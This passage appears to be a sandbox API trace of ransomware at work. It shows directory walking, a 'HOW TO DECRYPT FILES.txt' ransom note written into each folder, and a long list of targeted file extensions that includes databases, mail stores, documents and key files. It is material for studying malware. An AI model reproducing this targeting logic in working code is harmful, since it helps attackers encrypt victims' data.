ftCreationTime.dwLowDateTime=0x4bf8c660, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x4bf8c660, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x4bf8c660, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x58a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.038] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.038] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x279cd2f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x279cd2f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x279cd2f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="619b79df51e12079de04f43a06960741", cAlternateFileName="619B79~1")) returned 1 [0103.038] lstrcmpA (lpString1=".", lpString2="619b79df51e12079de04f43a06960741") returned -1 [0103.038] lstrcmpA (lpString1="..", lpString2="619b79df51e12079de04f43a06960741") returned -1 [0103.038] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.038] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="619b79df51e12079de04f43a06960741" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741" [0103.038] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x279cd2f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x279cd2f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x279cd2f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.039] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x279cd2f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x279cd2f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x279cd2f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.039] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.039] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27981030, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27981030, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27981030, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x27800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.039] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.039] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0103.039] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0103.039] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned -1 [0103.040] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\*.*") returned="*.*" [0103.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\" [0103.040] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\") returned="" [0103.040] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\HOW TO DECRYPT FILES.txt" [0103.040] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\619b79df51e12079de04f43a06960741\\how to decrypt files.txt")) returned 0xffffffff [0103.040] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\619b79df51e12079de04f43a06960741\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.043] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.044] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.049] CloseHandle (hObject=0x90) returned 1 [0103.049] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll" [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.049] lstrlenA (lpString="*.ems") returned 5 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.049] lstrlenA (lpString="*.db") returned 4 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.049] lstrlenA (lpString="*.dbf") returned 5 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.049] lstrlenA (lpString="*.myox") returned 6 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.049] lstrlenA (lpString="*.myo") returned 5 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.049] lstrlenA (lpString="*.qbw") returned 5 [0103.049] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.050] lstrlenA (lpString="*.qbb") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.050] lstrlenA (lpString="*.qbm") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.050] lstrlenA (lpString="*.qbo") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.050] lstrlenA (lpString="*.qbx") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.050] lstrlenA (lpString="*.qba") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.050] lstrlenA (lpString="*.qby") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.050] lstrlenA (lpString="*.qbj") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.050] lstrlenA (lpString="*.ofx") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.050] lstrlenA (lpString="*.qif") returned 5 [0103.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.050] lstrlenA (lpString="*.mye") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.051] lstrlenA (lpString="*.mbox") returned 6 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.051] lstrlenA (lpString="*.eml") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.051] lstrlenA (lpString="*.pst") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.051] lstrlenA (lpString="*.ost") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.051] lstrlenA (lpString="*.idx") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.051] lstrlenA (lpString="*.dbx") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.051] lstrlenA (lpString="*.sql") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.051] lstrlenA (lpString="*.mdb") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.051] lstrlenA (lpString="*.fdb") returned 5 [0103.051] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.051] lstrlenA (lpString="*.wab") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.052] lstrlenA (lpString="*.dat") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.052] lstrlenA (lpString="*.txt") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.052] lstrlenA (lpString="*.jpeg") returned 6 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.052] lstrlenA (lpString="*.jpg") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.052] lstrlenA (lpString="*.png") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.052] lstrlenA (lpString="*.php") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.052] lstrlenA (lpString="*.cs") returned 4 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.052] lstrlenA (lpString="*.cpp") returned 5 [0103.052] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.052] lstrlenA (lpString="*.rar") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.053] lstrlenA (lpString="*.zip") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.053] lstrlenA (lpString="*.html") returned 6 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.053] lstrlenA (lpString="*.htm") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.053] lstrlenA (lpString="*.xlsx") returned 6 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.053] lstrlenA (lpString="*.xls") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.053] lstrlenA (lpString="*.mp4") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.053] lstrlenA (lpString="*.ppt") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.053] lstrlenA (lpString="*.pptx") returned 6 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0103.053] lstrlenA (lpString="*.doc") returned 5 [0103.053] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0103.054] lstrlenA (lpString="*.dot") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0103.054] lstrlenA (lpString="*.docx") returned 6 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0103.054] lstrlenA (lpString="*.7z") returned 4 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0103.054] lstrlenA (lpString="*.tar") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.054] lstrlenA (lpString="*.bz2") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0103.054] lstrlenA (lpString="*.gz") returned 4 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.054] lstrlenA (lpString="*.mkv") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.054] lstrlenA (lpString="*.eml") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0103.054] lstrlenA (lpString="*.msg") returned 5 [0103.054] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0103.055] lstrlenA (lpString="*.edb") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.055] lstrlenA (lpString="*.accdb") returned 7 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0103.055] lstrlenA (lpString="*.odb") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.java") returned 0 [0103.055] lstrlenA (lpString="*.java") returned 6 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0103.055] lstrlenA (lpString="*.asm") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.055] lstrlenA (lpString="*.pfx") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0103.055] lstrlenA (lpString="*.pem") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0103.055] lstrlenA (lpString="*.p12") returned 5 [0103.055] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\619b79df51e12079de04f43a06960741\\Microsoft.VisualStudio.Tools.Office.Excel.AddInProxy.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.055] lstrlenA (lpString="*.gpg") returned 5 [0103.056] PathMatchSpecA 